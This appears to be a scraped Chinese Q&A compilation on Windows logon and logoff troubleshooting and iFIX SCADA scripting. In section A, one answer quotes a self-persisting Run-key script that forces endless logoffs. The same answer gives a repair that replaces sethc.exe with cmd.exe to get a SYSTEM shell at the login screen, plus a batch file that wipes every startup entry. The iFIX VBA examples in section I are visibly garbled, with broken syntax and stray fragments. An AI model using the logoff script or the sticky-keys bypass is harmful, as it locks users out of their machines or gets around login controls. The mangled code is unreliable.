A. 开机时登陆用户名登上了又自动注销,怎么办
二楼你不是害人吗?
用windows PE进去 看看是什么问题 估计是种了无限注销重启的小病毒
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v aaa /t REG_SZ /d %0 /f
c:\windows\system32\shutdown -r -t 2008
c:\windows\system32\shutdown -l -t 1
把这个复制到文本文档 保存为 新建文本文档.reg
这个是加载无限注销的脚本,就算没有无限注销加了这个就会无限注销,很简单,在dos下,输入命令: %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
然后在登陆界面,按5下shift,会弹出一个cmd窗口,在cmd窗口输入explorer.exe就会以system权限登陆进去系统,这个时候,要做的就是找到C:\Documents and Settings\all users\“开始”菜单\程序\启动 里面有没有可疑的启动文件,然后新建一个文本文档,将以下内容保存:
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f
另存为1.bat,运行后,即可清除掉注册表中的可疑项目,最后重新启动系统,应该即可安全进入系统。
B. 高手!IFIX软件打开后,一进行操作,就出现提示“一个正运行的脚本遇到一个错误。该脚本将终止”。
剪切改动的画面,贴在外面,然后关闭工程,在重新启动
C. ifix注销后继续运行为什么取消不掉
当前登录的用户没有这个权限
D. ifix脚本设置数据点密码输入的问题。
分为两个方法:
一、弹窗输入验证
在PIC上放一个数据戳,然后将你想要修改的点的上限即Fix32.XX.HIHI放到上面。
在数据戳的Click脚本调用一个类似登录的窗体弹出,要求输入密码。
验证密码正确后执行修改,数据戳数据更新。
二、画面权限验证
直接将修改数据戳之类拖到管理员登录的PIC中,这样修改的前提就是登录管理员,然后此PIC才可见,才可以修改。(此方法在实际项目中用过)
三、用户权限验证
和上一个有点像,多个用户及权限,修改的时候验证当前用户权限,可以则修改,不可以提示权限不足。(这种方法在实际项目中使用过,推荐此种)
E. 如何在windows系统注销后执行特定脚本
运行gpedit.msc组策略>计算机配置>管理模板>系统>登录>在用户登录时运行这些程序>选已启用>显示,输入需要运行的程序名(***.exe)
或编个运行某个程序的***.CMD脚本,添加到gpedit.msc组策略>用户配置>WINDOWS设置>脚本(登录/注销)>在登录、注销中分别添加***.CMD脚本
F. ifix未经授权访问
在系统配置里面把安全给禁止了就行了,或者把级别高一点的设为自动登陆,要不然默认是GUEST,它的权限不够。
G. ifix中如何实现画面间的切实可行换
你指的的是画面切换吧?
2个方法:
1,用专家功能:比如说用一个按钮打开一个画面,鼠标右键,选择"动画"然后把点击动作打钩,接着点"自定义脚本"然后选择"打开画面专家",最后选择你要打开的画面,点确定。
2,用脚本:右键点击目标按钮,选择"编辑脚本"这个时候进入脚本编辑器界面,系统默认的事件为"点击"(这些直接默认就可以了),然后在 代码行内写入:openpicture ("你要打开的画面")
Private Sub CommandButton1_Click()
openpicture ("你要打开的画面")
End Sub
回IP:IFIX 做画面的导航 比较麻烦的 也不是 简单的用1个changepicture就完成的了的。
H. 请问组策略中登陆注销脚本有什么用法
1)首选确认你的机器中有gpedit.msc这个文件,方法是搜索它,如有果,你会看到如下类似的画面;如果没有,则肯定被某种原因删除了,你可以尝试从其它机器拷一个过来。 http://www.2and2.net/Uploads/Images/wiseless200605165.jpg (2)如果1是存在的,参考下法: “误操作导致无法打开组策略”之局域网解决法 在微软中文新闻组里有网友问这么一个问题:在组策略→用户配置→管理模板→系统的“只运行许可的Windows程序”策略项里指定当前系统能够运行的应用程序,考虑到应该允许组策略的运行,所以把“gpedit.msc”添加到该策略项中,但是结果发现无法再也打开组策略窗口。 原来打开组策略的实质是启动MMC进程,然后加载gpedit.msc管理单元,所以在这里应该添加mmc程序,而不是gpedit.msc。如果添加了gpedit.msc,而不是mmc,导致系统无法启动mmc进程,就会导致无法打开组策略窗口。 遇到这类问题,比较容易想到的办法就是借助局域网的计算机打开故障系统的组策略管理单元,然后将策略项修改回原来的配置。 要使用该恢复方法,必须满足以下的使用条件: (1) 该故障计算机必须处于局域网的环境中。 (2) 该故障计算机上的防火墙必须经过适当的配置,以允许远程访问组策略工具。 (3) 该故障计算机必须没有禁止管理员帐户从网络登录的权利。 (4) 该故障计算机上必须禁用“简单文件共享”。 (5)该故障计算机必须是Windows XP Pro或者Windows 2000。 恢复过程 假设故障计算机的计算机名为NoGpedit,位于工作组环境中,其上的管理员帐户名为Admin,密码为Passwd。假设局域网的另外一台正常计算机名为Test。 (1)在局域网计算机Test上打开运行对话框,并运行以下命令: control userpasswords2 (2)在打开的对话框上切换到“高级”标签页,并单击其上的“管理密码”按钮。 (3)在打开的“存储用户名和密码”对话框上,单击“添加”按钮,在打开的对话框上输入NoGpedit计算机名和帐户名、密码,保存即可。 即可在Test计算机上获得NoGpedit计算机的管理员帐户Admin的凭据。 (4)在局域网计算机Test上的“运行”对话框里输入以下命令并回车: gpedit.msc /gpcomputer:"NoGpedit" (5)在Test计算机上打开NoGpedit计算机的组策略编辑窗口,修改相应的策略项回默认值即可。 (6)注销NoGpedit计算机,重新登录,结果即可生效
I. ifixif语句的用法例子
ifixif语句的用法例子如下所示。
ifix的一些常用代码
1、从后台调度中访问或修改全局变量的代码
描述:
在iFIX中使用调度要后台运行的时候需要启动FixBackgroundServer程序,而该程序实际上是启动了独立于Workspace的进程,所以在后台调度中不能直接访问全局变量。下面的例子代码描述了怎样访问的方法:
ct
SetWrkSpcApp=GetObject(,Workspace.Application')
DimTargetVarAsObject
SetTargetVar=WrkSpcApp.Documents('User').Page.FindObject(Variable1)
.CurrentValue=1
2、脉冲输出示例
DimPauseTime,Start
CloseDigitalPointFix32.FIX.DDD.F_cv
PauseTime=0.8
设置暂停时间。
Start=Timer
设置开始暂停的时刻。
DoWhileTimer
将控制让给其他程序。LoOp
OpenDigitalPointFix32.FIX.DDD.F_CV
3、显示通讯状态
rol?
Resolution
,theA_cualmfieldwilbeutilized.r.:
IFtheA_cualm=com
ThensetDO=1
ElsesettheDO-0
..
4、用VBA脚本打开和关闭调度
为了打开和关闭调度,必须用下列方法:
打开一个名字为ddd”的调度:
Application.Documents.OpenCDynamicslpdbddd.evs
关闭一个名字为ddd的调度:
Application.Documents(ddd).Close
注意:关闭调度时不用扩展名.evs。
5、在后台调度中访问画面中的对象
在调度中中的脚本不能直接访问画面中的对象。
办法:
使用FindObject方法:
DimAppObjasObject
DimPicObjasObject
setAppObj=GetObject(,Workspace.Application)
setPicObj=AppObj.System.FindObject(Pic.Obj)PicObj
Pic为画面的名字,picObj为所用的对象的属性或方法。